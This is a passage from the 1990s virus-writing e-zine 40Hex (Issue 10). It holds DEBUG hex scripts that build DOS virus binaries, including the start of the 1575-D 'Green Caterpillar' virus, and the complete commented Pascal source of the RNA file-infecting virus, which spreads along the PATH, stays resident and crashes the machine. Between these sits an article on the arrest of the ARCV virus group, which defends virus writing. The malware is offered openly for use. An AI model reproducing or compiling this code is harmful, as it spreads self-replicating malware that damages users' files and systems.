  888. e 0350  18 E8 61 00 EB 02 58 58 B4 3E E8 58 00 5A 1F 58 
  889. e 0360  59 E8 51 00 07 1F 5F 5E 5A 59 5B 58 9D EB 35 9C 
  890. e 0370  50 53 51 52 56 57 1E 06 FC B8 00 43 E8 36 00 72 
  891. e 0380  E3 51 E9 F3 FE 55 8B EC 2E 80 3E 9E 03 00 75 19 
  892. e 0390  2E FE 06 9E 03 80 FC 11 74 34 80 FC 12 74 2F 3D 
  893. e 03A0  00 4B 74 CB 2E FE 0E 9E 03 80 4E 07 01 FF 4E 02 
  894. e 03B0  E8 09 00 5D CF 9C 2E FF 1E 9A 03 C3 1E 50 53 2E 
  895. e 03C0  C5 1E 9A 03 2E A0 99 03 88 07 5B 58 1F C3 CD 21 
  896. e 03D0  9C 8F 46 0C 5D 50 53 1E 06 FE C0 74 3B B4 51 CD 
  897. e 03E0  21 8E C3 26 3B 1E 16 00 75 2E B4 2F CD 21 06 1F 
  898. e 03F0  80 3F FF 75 03 83 C3 07 81 7F 09 43 4F 74 07 81 
  899. e 0400  7F 09 45 58 75 12 8A 47 17 24 1F 3C 18 75 09 81 
  900. e 0410  6F 1D 99 03 83 5F 1F 00 07 1F 5B 58 2E FE 0E 9E 
  901. e 0420  03 FA 83 C4 06 CF 9C 50 53 51 52 33 DB B4 0F CD 
  902. e 0430  10 B4 03 CD 10 E8 56 00 3C 29 75 42 2E C6 06 9F 
  903. e 0440  03 00 E8 49 00 3C 3A 74 21 3C 3D 74 1D 3C 7C 74 
  904. e 0450  19 3C 3B 74 15 2E 80 3E 9F 03 00 75 1E 3C 28 74 
  905. e 0460  1A 2E FE 06 9F 03 FE C3 EB D8 F9 12 D3 B4 02 CD 
  906. e 0470  10 B8 28 0A B9 01 00 CD 10 EB 03 F9 12 D3 FE C2 
  907. e 0480  B4 02 CD 10 5A 59 5B 58 9D EA 00 00 00 00 FE CA 
  908. e 0490  B4 02 CD 10 B4 08 CD 10 C3 
  909. rcx
  910. 0399
  911. w
  912. q
  913. -------------------------------------------------------------------------------
  914. 40Hex Issue 10 Volume 3 Number 1                                      File 003
  915.  
  916. The following is the source code for the RNA virus, a Pascal virus which
  917. preserves the functionality of the EXE files which it infects.  It is a
  918. primitive virus, but is an example of a parasitic virus not written in
  919. assembly.
  920. -------------------------------------------------------------------------------
  921. {$i-}{$m 2048,0,24576}
  922. Program RNA;
  923. { Commenting by Dark Angel of Phalcon/Skism }
  924. { for 40Hex Issue 10 Volume 3 Number 1 }
  925. uses dos;
  926.  
  927. const blksize=8192;                     { buffer size                        }
  928.       vsize=7200;                       { length of virus                    }
  929.       wc='*.';                          { part of file mask                  }
  930.       counter=blksize-1;                { location of the counter            }
  931.       cb=':\';                          { colon backslash                    }
  932.       maxinf:byte=4;                    { max # infections                   }
  933.       maxruns:byte=48;                  { # runs before disinfection         }
  934.       drives:array[3..4] of char=('C','D'); { name of the drives             }
  935.       imf:string[12]='ux142.rqz';       { temporary file name                }
  936.  
  937.  
  938. type vtype=array[1..vsize] of byte;     { type of buffer for storing virus   }
  939.      buftype=array[1..blksize] of byte; { type of buffer for file operations }
  940.  
  941. var ps:string;                          { path string                        }
  942.     s:pathstr;                          { currently running program          }
  943.     ds:dirstr;                          { current directory                  }
  944.     ns:namestr;                         { filename of current program        }
  945.     es:extstr;                          { extension of current program       }
  946.     v:^vtype;                           { buffer for virus code              }
  947.     buf:^buftype;                       { buffer for file copying            }
  948.     count,indx,inf:byte;
  949.     attr,nr,nw:word;
  950.     sr:searchrec;                       { for find first/find next calls     }
  951.     f,f2:file;                          { file handles                       }
  952.     t:longint;                          { file time/date storage             }
  953.  
  954. procedure copyf;                        { copy file                          }
  955. begin
  956.  repeat                                 { copy the file in blocks            }
  957.   blockread(f,buf^,blksize,nr);         { read from the source file          }
  958.   blockwrite(f2,buf^,nr,nw);            { write to the target file           }
  959.  until (eof(f));                        { stop if end of file reached        }
  960.  close(f);                              { close the source file              }
  961.  setftime(f2,t);                        { set file time/date of target       }
  962.  close(f2);                             { then close target file             }
  963. end;
  964.  
  965. Procedure stripf;                       { strip virus from the file          }
  966.  
  967. begin
  968.  assign(f,s);                           { f = handle for current file        }
  969.  reset(f,1);                            { prepare it for reading             }
  970.  getftime(f,t);                         { save file creation time/date       }
  971.  assign(f2,ds+imf);                     { create temporary file              }
  972.  rewrite(f2,1);                         { prepare for writing                }
  973.  seek(f,vsize);                         { go past virus                      }
  974.  copyf;                                 { and copy uninfected file           }
  975. end;
  976.  
  977. procedure load;                         { load the virus from carrier file   }
  978.  
  979. begin
  980.  assign(f,s);                           { f = handle for current file        }
  981.  getfattr(f,attr);                      { get its file attributes            }
  982.  reset(f,1);                            { and prepare it for reading         }
  983.  if ioresult=0 then                     { continue if no failure             }
  984.   begin
  985.    getftime(f,t);                       { get file creation time/date        }
  986.    blockread(f,v^,vsize,nr);            { read the virus to buffer           }
  987.    count:=v^[vsize]-1;                  { get the counter from the buffer    }
  988.                                         { and decrement it                   }
  989.    v^[vsize]:=maxruns;                  { reset counter in buffer            }
  990.    seek(f,vsize-1);                     { go to generation counter in buffer }
  991.    blockwrite(f,count,1,nr);            { write new counter to file          }
  992.    setftime(f,t);                       { restore file time/date             }
  993.    close(f);                            { close the file                     }
  994.    setfattr(f,attr);                    { restore its file attributes        }
  995.   end;
  996. end;
  997.  
  998. function checkf(pth:dirstr):boolean;    { check if file already infected     }
  999.  
  1000. var by:array[1..27] of byte;            { buffer for checking marker bytes   }
  1001.  
  1002. begin
  1003.  checkf:=false;                         { default to don't infect            }
  1004.  if pos(sr.name,'COMMAND.COM')=0 then   { don't infect COMMAND.COM           }
  1005.  begin
  1006.   assign(f,pth+sr.name);                { get filename                       }
  1007.   reset(f,1);                           { open for reading                   }
  1008.   if ioresult=0 then                    { continue if open ok                }
  1009.    begin
  1010.     blockread(f,by,27,nr);              { start checking the file            }
  1011.     for indx:=1 to 27 do                { to see if the virus is             }
  1012.      if (by[indx])<>(v^[indx]) then     { already there                      }
  1013.       checkf:=true;                     { if not, return infect ok           }
  1014.     close(f);                           { close the file                     }
  1015.    end;
  1016.  end;
  1017. end;
  1018.  
  1019. procedure attach(pth:dirstr);           { attach virus to start of file      }
  1020. begin
  1021.  inc(inf);                              { increment infection counter        }
  1022.  assign(f2,pth+'zSqA.th');              { create temporary file              }
  1023.  rewrite(f2,1);                         { open for writing                   }
  1024.  if ioresult=0 then                     { continue if no errors              }
  1025.   begin
  1026.    assign(f,pth+sr.name);               { open file to infect                }
  1027.    getfattr(f,attr);                    { save its attributes                }
  1028.    reset(f,1);                          { open for reading                   }
  1029.    getftime(f,t);                       { save its creation time/date        }
  1030.    blockwrite(f2,v^,vsize,nr);          { write the virus to the temp file   }
  1031.    copyf;                               { copy the file to infect to the     }
  1032.    erase(f);                            { temp file and erase original       }
  1033.    rename(f2,sr.name);                  { rename the temp file to the name   }
  1034.    setfattr(f2,attr);                   { of the original and restore file   }
  1035.   end;                                  { attributes                         }
  1036. end;
  1037.  
  1038. procedure rep(pth:dirstr;ext:extstr);   { replicate within a directory       }
  1039.  
  1040. begin
  1041.  findfirst(pth+wc+ext,hidden+archive+readonly,sr);
  1042.  while (inf<maxinf) and (doserror=0) do { search for files to infect         }
  1043.   begin
  1044.    if checkf(pth) then attach(pth);     { infect if not already infected     }
  1045.    findnext(sr);                        { then continue for other files      }
  1046.   end;
  1047. end;
  1048.  
  1049. procedure wastetime;interrupt;          { interrupt 1Ch handler              }
  1050. begin
  1051.  inc(t);
  1052.  inline($90/$90/$90/$90/$90/$90);       { NOP NOP NOP NOP NOP NOP            }
  1053.  if ((t mod 8640)=8639) then inline($4C); { crash after about 8 minutes      }
  1054. end;
  1055.  
  1056. procedure replicate;                            { duplicate within path      }
  1057.  
  1058. var tmp:dirstr;                                 { holds a directory name     }
  1059.  
  1060. begin
  1061.  while (ps<>'') do                              { while more directories     }
  1062.   begin
  1063.    indx:=pos(';',ps);                           { go to next directory       }
  1064.    if indx=0 then                               { if not found, then at      }
  1065.     begin                                       { last directory             }
  1066.      tmp:=ps;                                   { copy directory name to     }
  1067.      ps:='';                                    { variable                   }
  1068.     end
  1069.    else
  1070.     begin
  1071.      tmp:=copy(ps,1,indx-1);                    { copy directory name to     }
  1072.      ps:=copy(ps,indx+1,length(ps)-indx);       { variable           }
  1073.     end;
  1074.    if tmp[length(tmp)]<>'\' then tmp:=tmp+'\';  { concatenate '\' if it      }
  1075.                                                 { isn't already there        }
  1076.    rep(tmp,'cOm');                              { infect *.COM               }
  1077.    rep(tmp,'exE');                              { infect *.EXE               }
  1078.   end;
  1079. end;
  1080.  
  1081. procedure makep;                                { this makes a path if it    }
  1082.                                                 { isn't found in the system  }
  1083. var b:byte;
  1084.  
  1085. begin
  1086.  getdir(0,ps);                                  { get current drive          }
  1087.  for b:=3 to 4 do                               { do this for C: and D:      }
  1088.   begin
  1089.    ps:=ps+';'+drives[b]+cb+';';                 { copy each drive to path    }
  1090.    findfirst(drives[b]+cb+wc,directory,sr);     { check if dirs on drive     }
  1091.    while (doserror=0) and (length(ps)<240) do   { if not, continue           }
  1092.     begin
  1093.      ps:=ps+drives[b]+cb+sr.name+';';           { add all dirs to the path   }
  1094.      findnext(sr);                              { do it again and again      }
  1095.     end;
  1096.   end;
  1097. end;
  1098.  
  1099. procedure grow;
  1100.  
  1101. begin
  1102.  inf:=0;                        { reset infection counter                    }
  1103.  ps:=getenv('path');            { get the current path                       }
  1104.  if ps<>'' then replicate;      { infect files if path found                 }
  1105.  if inf<maxinf then             { if not enough files infected               }
  1106.   begin
  1107.    makep;                       { make a path                                }
  1108.    replicate;                   { and then infect                            }
  1109.   end;
  1110. end;
  1111.  
  1112. procedure remove;               { disinfection routine                       }
  1113. begin
  1114.  assign(f,s);                   { f = handle for currently running file      }
  1115.  erase(f);                      { delete the current file                    }
  1116.  assign(f,ds+imf);              { f = handle for disinfected copy            }
  1117.  rename(f,ns+es);               { replace carrier file with disinfected copy }
  1118. end;
  1119.  
  1120. procedure runf;                 { run the original file                      }
  1121. begin
  1122.  exec(ds+imf,paramstr(1)+paramstr(2)+paramstr(3));
  1123.  assign(f,ds+imf);              { delete disinfected copy                    }
  1124.  erase(f);
  1125. end;
  1126.  
  1127. begin
  1128.  new(v);                        { allocate memory to store virus             }
  1129.  new(buf);                      { allocate memory for file operations buffer }
  1130.  s:=paramstr(0);                { get filename of currently running program  }
  1131.  fsplit(s,ds,ns,es);            { split to directory, name, and extension    }
  1132.  stripf;                        { strip infected file from executable        }
  1133.  load;                          { load the virus data to the buffer          }
  1134.  grow;                          { infect files                               }
  1135.  if count=0 then remove;        { disinfect if run maxruns times             }
  1136.  runf;                          { run the original file                      }
  1137.  if count<3 then                { slow system down if run many times         }
  1138.   begin
  1139.    t:=0;                        { reset count variable                       }
  1140.    setintvec($1c,@wastetime);   { set clock tick handler                     }
  1141.    keep(0);                     { and then stay resident                     }
  1142.   end;
  1143. end.
  1144. -------------------------------------------------------------------------------
  1145.                                                                              DA
  1146. 40Hex Issue 10 Volume 3 Number 1                                      File 004
  1147.  
  1148.  
  1149.                                ARCV Busted!
  1150.                                by DecimatoR
  1151.  
  1152.  
  1153.         Many of you who read this mag know of the ARCV, and most likely
  1154. know Apache Warrior, the president of the group.  In December and January, 
  1155. the ARCV members were raided by Scotland Yard officials, and had their 
  1156. computer equipment confiscated.  Apparently, the bust was triggered not because
  1157. of the virus writing they did, but because of the method they allegedly used to
  1158. transport their creations to their friends in other countries.  A contact in
  1159. England recently filled me in on the events which led to the bust of the ARCV.
  1160.  
  1161. Apparently, a few of the ARCV members were calling long distance by use of a
  1162. beige box (a device which allows tapping into phone lines to make unauthorized
  1163. calls) and they got caught.  This led to the confiscation of their computer 
  1164. equipment.  The two who were arrested apparently cooperated with the police,
  1165. and further examination of the confiscated equipment proved that not only had
  1166. the police caught people making fraudulent phone calls, but they also caught 
  1167. the leaders of a large virus writing group.  Further investigation resulted in
  1168. more arrests of other ARCV members.  Had the group not been phreaking their
  1169. calls, chances are they would not be in the fix they are today.  Please note,
  1170. however, that there have not yet been any trials in the arrests, and the ARCV
  1171. members have not been proven guilty.  
  1172.  
  1173. The following articles were posted on UseNet, and tell the story, although all 
  1174. but one fail to mention the fact that illegal phone calls, and NOT virus
  1175. writing was the key factor in the arrests.  Only after the first arrests were
  1176. made did the police pursue the avenue concerning virus authorship.
  1177.  
  1178.  
  1179.                              --------------
  1180.  
  1181. From "Computing", Feb 4, 1993:
  1182.  
  1183.                       Apache scalps virus cowboys
  1184.  
  1185.   "Police raided the homes of suspected computer virus authors across
  1186. the country last week, arresting five people and seizing equipment.
  1187.   "The raids were carried out last Wednesdau by police in Manchester,
  1188. Cumbria, Staffordshire and Devon and Cornwall.
  1189.   "Scotland Yard's computer crimes unit co-ordinated the raids under the
  1190. codename Operation Apache.
  1191.   " A spokeswoman for the Greater Manchester Police said: 'The
  1192. investigation began in the Mancheter area following the arrest of the
  1193. self-styled president of the virus writing group in Salford last
  1194. December.'
  1195.   "Police would not reveal the man's name, but said he had been released
  1196. on bail.
  1197.   "Last week's raids led to the the arrest of a further two people in
  1198. Manchester.  Three other suspects were also arrested in Staffordshire,
  1199. Cumbria and Cornwall.
  1200.   "PCs and floppy disks were seized in all the raids.
  1201.   "All those arrested have been released on police bail pending further
  1202. investigations." 
  1203.  
  1204.                              --------------
  1205.  
  1206.  
  1207. From the EFF.TALK newsgroup of Usenet:
  1208.  
  1209. "Police have arrested Britain's first computer virus-writing group
  1210.  in an operation they hope will dampen the aspirations of any potential
  1211.  high-tech criminals.
  1212.      Four members of the Association of Really Cruel Viruses (ARCV) were
  1213.  raided last Wednesday in a joint operation in four cities co-ordinated by
  1214.  Scotland Yard's computer crimes unit.
  1215.      The arrests in Greater Manchester, Cumbria, Staffordshire and
  1216.  Devon and Cornwall, bring to six the members of the group that have been
  1217.  tracked down by police. Two others, also writing for ARCV, were arrested
  1218.  a month ago in Manchester.
  1219.      This six are thought to have written between 30 and 50 relatively
  1220.  harmless viruses....
  1221.                              --------------
  1222.  
  1223. From a reposting of an unidentified newspaper, dated 4 February 1993:
  1224.  
  1225. UK Virus Writers Group Foiled by Scotland Yard
  1226.  
  1227. British police have arrested four members of a virus-writing group that
  1228. calls itself the Association of Really Cruel Viruses (ARCV).
  1229.  
  1230. The Scotland Yard Computer Crime Unit coordinated the raids carried out
  1231. on suspects in Greater Manchester, Staffordshire, Devon, and Cornwall.
  1232. The arrests last Wednesday, January 27, bring to six the number of ARCV
  1233. members found by police, after they initially arrested one caught
  1234. "phreaking" in Manchester in December. ("Phone phreaking" is the illegal
  1235. practice of obtaining free use of telephone lines.) The arrests were
  1236. made under Section 3 of the Computer Misuse Act, which prohibits
  1237. unauthorized modification of computer material, said Detective Sergeant
  1238. Stephen Littler. The suspects, who cannot be identified at this stage
  1239. under British law, have been released on bail pending inquiries and may
  1240. face further charges.
  1241.  
  1242. The members of ARCV used PCs to write viruses, which they shared via a
  1243. bulletin board operated by one suspect in Cornwall. The police
  1244. confiscated hardware and software, which is being studied by virus
  1245. experts to determine how many viruses were written and what the viruses
  1246. were intended to do, Littler said. The British anti-virus community
  1247. became aware of ARCV through the group's own publicity efforts, such as
  1248. a newsletter that it had uploaded to various bulletin boards in the
  1249. U.S., according to Richard Ford, editor of the monthly "Virus Bulletin,"
  1250. which is published in Abingdon, Oxon, England.  The newsletter was
  1251. described in detail in the November, 1992, issue of "Virus Bulletin."
  1252.  
  1253. "To the best of my knowledge, none of their viruses are in the wild, out
  1254. there spreading," said Ford.  "But they have been found on virus
  1255. exchange bulletin board services, and we've had reports of them being
  1256. uploaded rather widely in the UK." ARCV claims, in its newsletter, to
  1257. have links with PHALCON/SKISM in the U.S. and other virus writers in
  1258. Eastern Europe.  "The world is a very small place when you've got a
  1259. modem, or are on the Internet," Ford said. The newsletter invites new
  1260. members to join even if they are not virus writers but prefer other
  1261. "underground" activities such as hacking and phreaking.  It also betrays
  1262. ARCV's fears of being perceived as nerds (a term not used in Britain)
  1263. saying, "Now the picture put out by the Anti- Virus Authors is that
  1264. Virus writers are Sad individuals who wear Anoraks and go Train Spotting
  1265. but well they are sadly mistaken, we are very intelligent, sound minded,
  1266. highly trained, and we wouldn't be seen in an Anorak or near an Anorak
  1267. even if dead."  (Anorak is the British word for ski jacket.)
  1268.  
  1269. ARCV has already failed at one of the objectives mentioned in its
  1270. premier newsletter issue, which said, "We will be dodging Special Branch
  1271. and New Scotland Yard as we go."
  1272.  
  1273.  
  1274.                              --------------
  1275.  
  1276.  
  1277.         The following is a summary of Britain's Computer Misuse Act 1990, which
  1278. deals with computer crimes:
  1279.  
  1280.  
  1281.  
  1282. Summary of Computer Misuse Act 1990:
  1283.  
  1284. { heading }
  1285. ...
  1286. 1 -(1) A person is guilty of an offence if-
  1287.   (A) he causes a computer to perform any function with intent to secure
  1288.        access to any program or data held in any computer;
  1289.   (b) the access he intends to secure is unauthorised; and
  1290.   (c) he knows at the time when he causes the computer to perform the
  1291.        function that that is the case.
  1292.  
  1293.    (2) The intent a person has to have to commit an offence under this secton
  1294.      need not be directed at -
  1295.     (a) any particular program or data;
  1296.     (b) a program or data of any particular kind; or
  1297.     (c) a program or data held in any particular computer.
  1298.  
  1299.    { up to 6 months prison, or a medium scale - level 5 - fine, or both}
  1300.  
  1301. 2  {similar - but access with intent to commit or facilitate further offnces}
  1302.  
  1303. 3 -(1) A person is guilty of an offence if-
  1304.   (a) he does any act which causes an unauthorised modification of the contents
  1305.       of any computer; and
  1306.   (b) at the time when he does the act he has the requisite intent and the
  1307.       requisite knowledge.
  1308.  
  1309.     (2) For the purposes of subsection (1)(b) above the requisite is an intent
  1310.        to cause a modification of the contents of any computer and by so doing-
  1311.        (a) to impair the operation of any computer;
  1312.        (b) to prevent or hinder access to any program or data held in any comp
  1313.        (c) to impair the operation of any such program or the reliability of
  1314.            any such data.
  1315.  
  1316.     (3) {similar clause on direction of intent to section 1}
  1317.  
  1318.     (4) For the purposes of subsection (1)(b) above the requisite knowledge
  1319.        is knowledge that any modification he intends to cause is unauthorised.
  1320.  
  1321.     (5) It is immaterial for the purposes of this section whether an
  1322.        unauthorised modification or any intended effect of it of a kind
  1323.        mentioned in subsection (2) above is, or is intended to be, permanent
  1324.        or merely temporary.
  1325.  
  1326. { such damage not to be within the terms of the Criminal Damage Act 1971 unless
  1327. physical damage is caused }
  1328. { In magistrates court - up to 6 months prison or maximum fine or both}
  1329. { In Crown court up to 5 years prison and/or unlimited fine}
  1330.  
  1331. { sections on Jurisdiction - Act applies as long as there is a significant
  1332. UK connection - either accused or target computer was in UK}
  1333. { lots of further legal details - no way am I typing in all that!}
  1334.  
  1335. 14. { search warrant to be issued by a judge, not just a magistrate}
  1336.  
  1337. 15. { Extradition attempts possible for offences unders sections 2 or 3
  1338.    conspiracy to commit such, or attempt to commit section 3 offence}
  1339.  
  1340. { more verbiage}
  1341.  
  1342. 17. {lots of definitions - Computer is _not_ formally defined anywhere
  1343.    in English Law}
  1344.     {Definition of Access - seems to cover anything you could think of
  1345.      doing with a computer}
  1346.     {defiitions of unauthorised - again rather wide}
  1347.     { ... }
  1348.     (10) Refences to a program include refences to part of a program.
  1349.  
  1350.                               --------------
  1351.  
  1352.     There ya have it.  I personally would like to wish Apache Warrior, Ice-9,
  1353. and the rest of ARCV luck in the upcoming legal mess they face.  I was sorry
  1354. to hear about the bust of the group, but even sorrier when I found out that
  1355. some of the members were arrested solely because they had a hand in virus
  1356. production.  When you commit fraud, you are breaking the law, and yes, you
  1357. should be held accountable for your actions.  I tend to have the opposite
  1358. point of view when it comes to authoring a virus, however.  Simply writing code
  1359. should never be illegal.  Spreading, yes, but writing?  No.  Unfortunately, the
  1360. "powers that be" don't always see it as I do.
  1361.  
  1362.                                     --DecimatoR
  1363.  
  1364. 40Hex Issue 10 Volume 3 Number 1                                      File 005
  1365.  
  1366. This is the 1575-D, or Green Caterpillar virus.  This resident COM and EXE
  1367. infector is so named for the little green caterpillar which will occasionally
  1368. crawl across the screen and eat up characters as it goes along.  It is
  1369. otherwise unremarkable.
  1370. -------------------------------------------------------------------------------
  1371. n 1575-d.com
  1372. e 0100  0E 8C C8 05 3F 00 50 B8 00 01 50 CB 00 00 00 00 
  1373. e 0110  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1374. e 0120  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1375. e 0130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1376. e 0140  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1377. e 0150  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1378. e 0160  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1379. e 0170  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1380. e 0180  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1381. e 0190  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1382. e 01A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1383. e 01B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1384. e 01C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1385. e 01D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1386. e 01E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1387. e 01F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1388. e 0200  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1389. e 0210  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1390. e 0220  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1391. e 0230  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1392. e 0240  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1393. e 0250  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1394. e 0260  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1395. e 0270  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1396. e 0280  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1397. e 0290  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1398. e 02A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1399. e 02B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1400. e 02C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1401. e 02D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1402. e 02E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1403. e 02F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1404. e 0300  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1405. e 0310  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1406. e 0320  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1407. e 0330  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1408. e 0340  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1409. e 0350  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1410. e 0360  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1411. e 0370  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1412. e 0380  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1413. e 0390  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1414. e 03A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1415. e 03B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1416. e 03C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1417. e 03D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1418. e 03E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1419. e 03F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1420. e 0400  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1421. e 0410  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1422. e 0420  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1423. e 0430  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1424. e 0440  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1425. e 0450  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1426. e 0460  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1427. e 0470  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1428. e 0480  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1429. e 0490  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1430. e 04A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1431. e 04B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1432. e 04C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1433. e 04D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  1434. e 04E0  00 00 00 00 00 00 00 00 8B 07 2E FF 36 F8 07 2E 
  1435. e 04F0  EB 4A 90 60 14 34 02 53 FF 00 F0 CD 20 00 00 00 
  1436. e 0500  00 00 00 00 00 00 00 7E A4 0A 03 00 01 00 00 00 
  1437. e 0510  01 0A 03 00 00 9C 0E 00 00 60 36 05 00 AA 43 B5 
  1438. e 0520  9A 97 03 00 40 89 0E B4 0D 7A 04 71 EA 56 34 02 
  1439. e 0530  00 00 00 00 78 F8 00 F0 5C 07 70 00 06 1E 8C C0 
  1440. e 0540  0E 1F 0E 07 A3 35 01 8C D0 A3 2B 01 B0 02 E6 20 
  1441. e 0550  FC 33 C0 8E D8 33 F6 BF 3C 01 B9 10 00 F2 A4 1E 
  1442. e 0560  17 BD 08 00 87 EC E8 4C 00 E9 C6 03 E8 5D 04 E8 
  1443. e 0570  AB 00 74 0E A0 24 07 50 E8 13 01 58 A2 24 07 EB 
  1444. e 0580  13 90 E8 76 02 E8 95 02 80 3E 24 07 00 75 05 B8 
  1445. e 0590  00 4C CD 21 80 3E 24 07 43 75 31 1F 07 0E 1F 07 
  1446. e 05A0  06 BF 00 01 BE 0B 01 B9 0C 00 F2 A4 06 1F B8 00 
  1447. e 05B0  01 50 33 C0 CB BE 06 00 AD 3D 92 01 74 DD 3D 79 
  1448. e 05C0  01 75 03 E9 A9 00 3D DC 01 74 01 C3 1F 07 2E 8B 
  1449. e 05D0  1E 19 01 2E 2B 1E 31 01 8C C8 2B C3 8E D0 2E 8B 
  1450. e 05E0  2E 33 01 87 EC 2E 8B 1E 21 01 2E 2B 1E 23 01 8C 
  1451. e 05F0  C8 2B C3 50 2E A1 25 01 50 CB 23 1A 3C 23 2F 2D 
  1452. e 0600  2D 21 2E 24 0E 23 2F 2D E0 41 3A 31 35 37 35 2D 
  1453. e 0610  44 2E 43 4F 4D 00 00 00 24 24 24 24 24 B8 02 3D 
  1454. e 0620  BA 19 02 CD 21 73 02 F8 C3 A3 2B 01 BA 73 06 B8 
  1455. e 0630  24 25 CD 21 B8 02 42 8B 1E 2B 01 B9 FF FF BA FE 
  1456. e 0640  FF CD 21 BA 7D 02 B4 3F 8B 1E 2B 01 B9 02 00 CD 
  1457. e 0650  21 B4 3E CD 21 1E 8B 16 39 01 A1 37 01 8E D8 B8 
  1458. e 0660  24 25 CD 21 1F 81 3E 7D 02 0C 0A F8 C3 00 00 3D 
  1459. e 0670  2D 02 74 1A 1E 07 0E 1F A1 2B 01 8E D0 87 EC BE 
  1460. e 0680  3C 01 BF 00 00 B9 10 00 FC F2 A4 E9 DE FE B0 43 
  1461. e 0690  A2 24 07 B0 08 E6 70 E4 71 A2 3B 01 BA 19 02 B8 
  1462. e 06A0  02 3D CD 21 73 01 C3 A3 2B 01 BA 0B 01 8B 1E 2B 
  1463. e 06B0  01 B9 0C 00 B4 3F CD 21 B8 02 42 33 C9 33 D2 CD 
  1464. e 06C0  21 50 05 10 00 25 F0 FF 50 D1 E8 D1 E8 D1 E8 D1 
  1465. e 06D0  E8 BF 1F 03 AB 58 5B 2B C3 B9 27 06 03 C8 BA 00 
  1466. e 06E0  01 2B D0 8B 1E 2B 01 B4 40 CD 21 B8 00 42 33 C9 
  1467. e 06F0  33 D2 CD 21 B4 40 8B 1E 2B 01 B9 0C 00 BA 1B 03 
  1468. e 0700  CD 21 B4 3E 8B 1E 2B 01 CD 21 C3 0E 8C C8 05 3F 
  1469. e 0710  00 50 B8 00 01 50 CB B0 45 A2 24 07 B0 08 E6 70 
  1470. e 0720  E4 71 A2 3B 01 BA 19 02 B8 02 3D CD 21 73 01 C3 
  1471. e 0730  A3 2B 01 BA 0B 01 8B 1E 2B 01 B9 18 00 B4 3F CD 
  1472. e 0740  21 B8 02 42 B9 00 00 BA 00 00 CD 21 50 05 10 00 
  1473. e 0750  83 D2 00 25 F0 FF 89 16 27 01 A3 29 01 B9 27 07 
  1474. e 0760  81 E9 00 01 03 C1 83 D2 00 B9 00 02 F7 F1 40 A3 
  1475. e 0770  0F 01 89 16 0D 01 A1 21 01 A3 23 01 A1 1F 01 A3 
  1476. e 0780  25 01 A1 19 01 A3 31 01 A1 1B 01 A3 33 01 8B 16 
  1477. e 0790  27 01 A1 29 01 B9 10 00 F7 F1 2D 10 00 2B 06 13 
